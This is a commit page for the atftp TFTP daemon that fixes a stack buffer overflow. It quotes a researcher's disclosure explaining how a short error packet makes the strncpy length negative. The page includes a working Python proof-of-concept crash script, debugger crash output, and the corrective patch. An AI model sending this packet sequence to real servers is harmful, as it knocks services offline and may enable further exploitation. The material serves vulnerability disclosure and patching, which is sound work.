Menu

Commit [abed7d]  Maximize  Restore  History

fix error handler stack overflow

Denis Andzakovic has worked out:

A remote attacker may send a crafted packet to the atftpd daemon, triggering a stack based buffer overflow due to an insecurely implemented `strncpy` call. The vulnerability is triggered by sending an error packet that has a length of 3 or less. There are multiple instances of this vulnerable `strncpy` error handling pattern within the code base, specifically within `tftpd_file.c`, `tftp_file.c`, `tftpd_mtftp.c` and `tftp_mtftp.c`. The following snippet shows and example vulnerable code path in `tftpd_file.c`:

```C
263 result = tftp_get_packet(sockfd, -1, NULL, sa, &from, NULL,
264 timeout, &data_size, data->data_buffer);
265
266 switch (result)
267 {
{...snip...}
282 break;
283 case GET_ERROR:
{...snip...}
307 Strncpy(string, tftphdr->th_msg,
308 (((data_size - 4) > MAXLEN) ? MAXLEN :
```

`data_size` is defined as an `int`, and `MAXLEN` is a macro for `256`. By sending a tftp error packet that's 3 bytes or shorter, the third parameter to `strncpy` becomes negative. As `strncpy` expects a `size_t`, this results in a large overflow of `string`, a stack allocated buffer.

The following proof-of-concept can be used to replicate the issue

```Python
import sys
import socket

IP = "127.0.0.1"
PORT = 69

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 51231))

sock.sendto("\x00\x02\x31\x00\x6f\x63\x74\x65\x74\x00", (IP, PORT))
msg, server = sock.recvfrom(1024);
print >>sys.stderr, 'received %s bytes from %s' % (len(msg), server)

sock.sendto("\x00\x05", server);
msg, server = sock.recvfrom(1024); # boom
print >>sys.stderr, 'received %s bytes from %s' % (len(msg), server)

sock.close()
```

The POC above results in the following segfault:

```None
(gdb) r -m1000 --user doi --group doi --logfile - -v --daemon --no-fork --port 6969 files/
Starting program: /home/doi/targets/atftp-0.7.git20120829/atftpd -m1000 --user doi --group doi --logfile - -v --daemon --no-fork --port 6969 files/
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: Advanced Trivial FTP server started (0.7)
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: running in daemon mode on port 6969
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: logging level: 6
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: directory: files//
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: user: doi.doi
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: log file: -
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: not forcing to listen on local interfaces.
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: server timeout: Not used
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: tftp retry timeout: 5
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: maximum number of thread: 1000
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: option timeout: enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: option tzise: enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: option blksize: enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: option multicast: enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: address range: 239.255.0.0-255
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: port range: 1758
[New Thread 0x7ffff6d10700 (LWP 11585)]
Jan 11 16:01:40 akl-dl380g6-2 atftpd[11579.140737334281984]: socket may listen on any address, including broadcast
Jan 11 16:01:40 akl-dl380g6-2 atftpd[11579.140737334281984]: Fetching from 127.0.0.1 to 1

Thread 2 "atftpd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff6d10700 (LWP 11585)]
__strncpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:1671
1671 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
__dest=__dest@...=0xfffffffffffffffe <error: Cannot access memory at address 0xfffffffffffffffe>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:106
(gdb)
```

This crash also occurs when running in the default debian configuration:

```
[ 397.759696] in.tftpd[6720]: segfault at 7f5cdad9e000 ip 00007f5cdb04b605 sp 00007f5cdad9c9c8 error 7 in libc-2.24.so[7f5cdafb6000+195000]
```

Using the size of the string buffer as the length argument resolves this issue. Note that this should be investigated and applied to all of the files detailed at the beginning of this finding.

```None
--- a/tftpd_file.c 2019-01-11 16:04:57.540395929 +1300
+++ b/tftpd_file.c 2019-01-11 16:07:27.220151132 +1300
@@ -304,9 +304,7 @@
else
logger(LOG_WARNING, "source port mismatch, check bypassed");
}
- Strncpy(string, tftphdr->th_msg,
- (((data_size - 4) > MAXLEN) ? MAXLEN :
- (data_size - 4)));
+ Strncpy(string, tftphdr->th_msg, sizeof(string));
if (data->trace)
logger(LOG_DEBUG, "received ERROR <code: %d, msg: %s>",
ntohs(tftphdr->th_code), string);
@@ -954,9 +952,7 @@
}
}
/* Got an ERROR from the current master client */
- Strncpy(string, tftphdr->th_msg,
- (((data_size - 4) > MAXLEN) ? MAXLEN :
- (data_size - 4)));
+ Strncpy(string, tftphdr->th_msg, sizeof(string));
if (data->trace)
logger(LOG_DEBUG, "received ERROR <code: %d, msg: %s>",
ntohs(tftphdr->th_code), string);
```

Denis Andzakovic
Principal Security Consultant
Pulse Security
denis.andzakovic@...
www.pulsesecurity.co.nz

Martin Dummer Martin Dummer 2019-04-14

changed tftpd_file.c
changed tftpd_mtftp.c
tftpd_file.c Diff Switch to side-by-side view
Loading...
tftpd_mtftp.c Diff Switch to side-by-side view
Loading...